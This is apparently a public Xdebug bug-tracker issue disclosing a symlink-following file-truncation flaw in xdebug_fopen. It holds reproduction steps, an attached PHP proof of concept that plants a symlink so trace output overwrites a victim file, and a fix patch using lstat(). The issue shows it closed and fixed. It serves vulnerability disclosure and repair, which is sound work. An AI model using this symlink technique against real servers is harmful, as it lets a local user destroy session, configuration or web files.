View Issue Details

IDProjectCategoryView StatusLast Update
0002423XdebugUncategorizedpublic2026-06-08 14:36
Reporterilia Assigned Toderick  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version3.5.1 
Target Version3.5devFixed in Version3.5.3 
Summary0002423: Don't follow symlinks with file creation
Description

xdebug_fopen opens the trace/profile/gcstats file with stat() + fopen("r+") + flock(LOCK_EX) + freopen("w"). All three follow symlinks. No O_NOFOLLOW.
A user with write access to xdebug.output_dir (default /tmp) pre-places a symlink at the predictable tmp_fname pointing at any file writable by the PHP process.freopen("w") truncates and overwrites.

Fix: lstat() instead of stat(); on S_ISLNK, route through xdebug_open_file_with_random_ext

Steps To Reproduce
  1. echo "ORIGINAL_SECRET" > /tmp/xd005b-victim
  2. mkdir /tmp/xd005b-out && ln -s /tmp/xd005b-victim /tmp/xd005b-out/attack.xt.gz
  3. Run PHP CLI with xdebug.mode=trace, xdebug.output_dir=/tmp/xd005b-out, xdebug.trace_output_name=attack.
  4. /tmp/xd005b-victim now contains gzipped xdebug trace data.
TagsNo tags attached.
Attached Files
poc.php (2,881 bytes)   
<?php
/* XD-005b PoC. Symlink-following file truncation in xdebug_fopen
 * write path at src/lib/usefulstuff.c:432-470.
 *
 * Local attacker on the same output_dir pre-places a symlink at
 * the trace/profile output path before xdebug writes its first
 * trace. xdebug's stat() check follows the symlink, fopen("r+")
 * follows the symlink, freopen("w") follows the symlink AND
 * truncates -- the target file (chosen by the attacker) is
 * clobbered with the trace output.
 *
 * Realistic targets: session files in /var/lib/php/sessions/,
 * application config files, web-served content under the
 * PHP-process uid, log files.
 *
 * Setup: deterministic version of the TOCTOU. We pre-place
 * `<output_dir>/<output_name>.xt.gz` as a symlink to the victim
 * file BEFORE xdebug runs. The race form replaces the file with
 * a symlink between xdebug's stat() and freopen() -- same
 * primitive, different timing.
 */

$xdebug_so = $argv[1] ?? '/home/ilia/xdebug/modules/xdebug.so';
$php       = $argv[2] ?? '/home/ilia/php-src-8.4/sapi/cli/php';

$attacker_dir  = '/tmp/xd005b-attacker';
$victim_target = '/tmp/xd005b-victim-secret';

@mkdir($attacker_dir, 0700, true);
foreach (glob("$attacker_dir/*") as $f) @unlink($f);
@unlink($victim_target);

file_put_contents($victim_target, "ORIGINAL_SECRET_CONTENT\nDO_NOT_TRUNCATE\n");
$before_size    = filesize($victim_target);
$before_content = trim(file_get_contents($victim_target));

echo "victim target before:\n";
echo "  size: $before_size bytes\n";
echo "  content: $before_content\n\n";

$attack_link = "$attacker_dir/attack.xt.gz";
symlink($victim_target, $attack_link);
echo "pre-placed symlink:\n";
echo "  $attack_link -> " . readlink($attack_link) . "\n\n";

echo "running xdebug trace:\n";
$cmd = sprintf(
    '%s -d zend_extension=%s ' .
    '-d xdebug.mode=trace -d xdebug.start_with_request=yes ' .
    '-d xdebug.trace_format=0 -d xdebug.trace_output_name=attack ' .
    '-d xdebug.output_dir=%s ' .
    '-r %s 2>&1',
    escapeshellarg($php),
    escapeshellarg($xdebug_so),
    escapeshellarg($attacker_dir),
    escapeshellarg('function f(){return 1;} f();')
);
echo shell_exec($cmd);

clearstatcache();
echo "\nvictim target after:\n";
if (file_exists($victim_target)) {
    $after_size    = filesize($victim_target);
    $after_content = file_get_contents($victim_target);
    echo "  size: $after_size bytes\n";
    echo "  content: " . trim($after_content) . "\n";
} else {
    echo "  REMOVED\n";
    $after_content = '';
}

echo "\noutput dir layout after run:\n";
echo shell_exec("ls -la $attacker_dir/");

$clobbered = strpos($after_content, 'ORIGINAL_SECRET_CONTENT') === false;
echo "\nresult: " . ($clobbered
    ? "XD-005b PRESENT -- victim file content was replaced by xdebug trace data"
    : "XD-005b FIXED   -- victim file content preserved; trace landed elsewhere (random-suffix file)"
) . "\n";
poc.php (2,881 bytes)   
xd005b_fix.patch (819 bytes)   
diff --git a/src/lib/usefulstuff.c b/src/lib/usefulstuff.c
index 97af0b61..038f7825 100644
--- a/src/lib/usefulstuff.c
+++ b/src/lib/usefulstuff.c
@@ -429,7 +429,7 @@ FILE *xdebug_fopen(char *fname, const char *mode, const char *extension, char **
 	} else {
 		tmp_fname = xdstrdup(fname);
 	}
-	r = stat(tmp_fname, &buf);
+	r = lstat(tmp_fname, &buf);
 	/* We're not freeing "tmp_fname" as that is used in the freopen as well. */
 
 	if (r == -1) {
@@ -438,6 +438,11 @@ FILE *xdebug_fopen(char *fname, const char *mode, const char *extension, char **
 		goto lock;
 	}
 
+	if (S_ISLNK(buf.st_mode)) {
+		fh = xdebug_open_file_with_random_ext(fname, "w", extension, new_fname);
+		goto lock;
+	}
+
 	/* 3. It exists, check if we can open it. */
 	fh = xdebug_open_file(fname, "r+", extension, new_fname);
 	if (!fh) {
xd005b_fix.patch (819 bytes)   
Operating System
PHP Version8.5.0-8.5.4

Activities

Issue History

Date Modified Username Field Change
2026-05-20 00:12 ilia New Issue
2026-05-20 00:12 ilia File Added: poc.php
2026-05-20 00:12 ilia File Added: xd005b_fix.patch
2026-05-20 16:57 ilia Description Updated
2026-05-20 16:57 ilia Steps to Reproduce Updated
2026-05-20 16:57 ilia Description Updated
2026-05-20 16:58 ilia Description Updated
2026-05-27 17:06 derick Status new => assigned
2026-05-27 17:06 derick Product Version => 3.5.1
2026-05-27 17:06 derick Target Version => 3.5dev
2026-05-27 17:06 derick Summary Symlink-following truncation in xdebug_fopen write path (lib/usefulstuff.c) => Don't follow symlinks with file creation
2026-05-27 17:06 derick Note Added: 0007501
2026-05-28 14:54 derick Assigned To => derick
2026-05-28 14:54 derick Status assigned => closed
2026-05-28 14:54 derick Resolution open => fixed
2026-05-28 14:54 derick Fixed in Version => 3.5dev
2026-06-08 13:44 derick View Status private => public
2026-06-08 14:28 derick Fixed in Version 3.5dev => 3.5.2
2026-06-08 14:36 derick Fixed in Version 3.5.2 => 3.5.3